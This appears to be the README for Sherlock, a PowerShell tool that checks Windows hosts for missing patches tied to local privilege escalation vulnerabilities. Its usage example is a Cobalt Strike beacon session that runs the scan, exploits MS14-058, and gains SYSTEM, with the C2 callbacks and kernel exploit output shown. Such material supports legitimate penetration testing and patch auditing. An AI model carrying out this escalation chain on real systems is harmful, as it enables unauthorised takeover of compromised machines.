Sherlock
PowerShell script to quickly find missing Microsoft patches for local privilege escalation vulnerabilities.
Currently looks for:
- MS10-015 : User Mode to Ring (KiTrap0D)
- MS10-092 : Task Scheduler
- MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
- MS13-081 : TrackPopupMenuEx Win32k NULL Page
- MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
- MS15-051 : ClientCopyImage Win32k
- MS15-078 : Font Driver Buffer Overflow
- MS16-016 : 'mrxdav.sys' WebDAV
- MS16-032 : Secondary Logon Handle
Tested on:
- Windows 7 SP1 32-bit
- Windows 7 SP1 64-bit
- Windows 8 64-bit
- Windows 10 64-bit
Basic Usage:
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are Win7-x64\Rasta
beacon> powershell-import C:\Users\Rasta\Desktop\Sherlock.ps1
[*] Tasked beacon to import: C:\Users\Rasta\Desktop\Sherlock.ps1
[+] host called home, sent: 2960 bytes
beacon> powershell Find-AllVulns
[*] Tasked beacon to run: Find-AllVulns
[+] host called home, sent: 21 bytes
[+] received output:
Title : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID : 2010-0232
Link : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems
Title : Task Scheduler .XML
MSBulletin : MS10-092
CVEID : 2010-3338, 2010-3888
Link : https://www.exploit-db.com/exploits/19930/
VulnStatus : Not Vulnerable
Title : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID : 2013-1300
Link : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID : 2013-3881
Link : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Appears Vulnerable
Title : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID : 2015-1701, 2015-2433
Link : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable
Title : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID : 2015-2426, 2015-2433
Link : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable
Title : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID : 2016-0051
Link : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable
beacon> elevate ms14-058 smb
[*] Tasked beacon to elevate and spawn windows/beacon_smb/bind_pipe (127.0.0.1:1337)
[+] host called home, sent: 105015 bytes
[+] received output:
[*] Getting Windows version...
[*] Solving symbols...
[*] Requesting Kernel loaded modules...
[*] pZwQuerySystemInformation required length 51216
[*] Parsing SYSTEM_INFO...
[*] 173 Kernel modules found
[*] Checking module \SystemRoot\system32\ntoskrnl.exe
[*] Good! nt found as ntoskrnl.exe at 0x0264f000
[*] ntoskrnl.exe loaded in userspace at: 40000000
[*] pPsLookupProcessByProcessId in kernel: 0xFFFFF800029A21FC
[*] pPsReferencePrimaryToken in kernel: 0xFFFFF800029A59D0
[*] Registering class...
[*] Creating window...
[*] Allocating null page...
[*] Getting PtiCurrent...
[*] Good! dwThreadInfoPtr 0xFFFFF900C1E7B8B0
[*] Creating a fake structure at NULL...
[*] Triggering vulnerability...
[!] Executing payload...
[+] host called home, sent: 204885 bytes
[+] established link to child beacon: 192.168.56.105
[+] established link to parent beacon: 192.168.56.105
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 8 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)